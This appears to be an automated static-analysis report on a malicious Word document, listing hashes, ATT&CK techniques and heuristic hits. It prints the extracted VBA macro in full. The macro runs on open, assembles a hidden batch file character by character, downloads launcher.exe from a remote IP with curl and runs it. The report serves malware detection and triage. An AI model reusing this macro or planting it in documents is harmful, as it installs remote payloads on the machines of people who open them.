Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c46f5dfb196f2fe8…

MALICIOUS

Office (OOXML)

18.2 KB Created: 2021-11-14 21:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-25
MD5: 7bc6db3c5727c7743b52677a55ff3a88 SHA-1: 299f1fe0092746dae10881f5cda69733e7c6f2f3 SHA-256: c46f5dfb196f2fe87e2189c77177154a2a302f890b780f83a795aa2c9a8cdfd7
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File Execution: Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening the document. This macro constructs a batch script to download a file named 'launcher.exe' from 'http://192.168.1.12/launcher.exe' into the temporary directory and then executes it. The use of Shell() and CreateObject() calls within the VBA code, along with the Document_Open macro, strongly indicates a malicious intent to download and run a secondary payload.

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Set oFile = Nothing
VAR = Shell(pr, vbHide)
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Sub Document_Open()
Dim fso As Object
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    en = Environ$("TEMP")
pr = en & "\\Word$Data$TMP$.b" & "at"
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1144 bytes
SHA-256: 3fd20a3086a5b66baebb9ad947f5ba9c9ae140df1e4e8a9c3bc5ad77d7b59c47
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim oFile As Object
Dim pr As String
Dim us As String


en = Environ$("TEMP")
pr = en & "\\Word$Data$TMP$.b" & "at"


Set oFile = fso.CreateTextFile(pr)
oFile.Write "c"
oFile.Write "u"
oFile.Write "r"
oFile.Write "l"
oFile.Write " "
oFile.Write "h"
oFile.Write "t"
oFile.Write "t"
oFile.Write "p"
oFile.Write ":"
oFile.Write "//"
oFile.Write "19"
oFile.Write "2"
oFile.Write ".16"
oFile.Write "8."
oFile.Write "1"
oFile.Write "."
oFile.Write "1"
oFile.Write "2"
oFile.Write "/"
Dim py As String
launcher = "launcher.exe"
oFile.WriteLine launcher & " -o " & en & "\" & launcher & " && " & en & "\" & launcher
oFile.Close
Set fso = Nothing
Set oFile = Nothing
VAR = Shell(pr, vbHide)
End Sub


Attribute VB_Name = "NewMacros"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: e5b6fd24ce889ada05fa01efeb616f722a22ccc61450b2b43b9293a0f47ceae0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.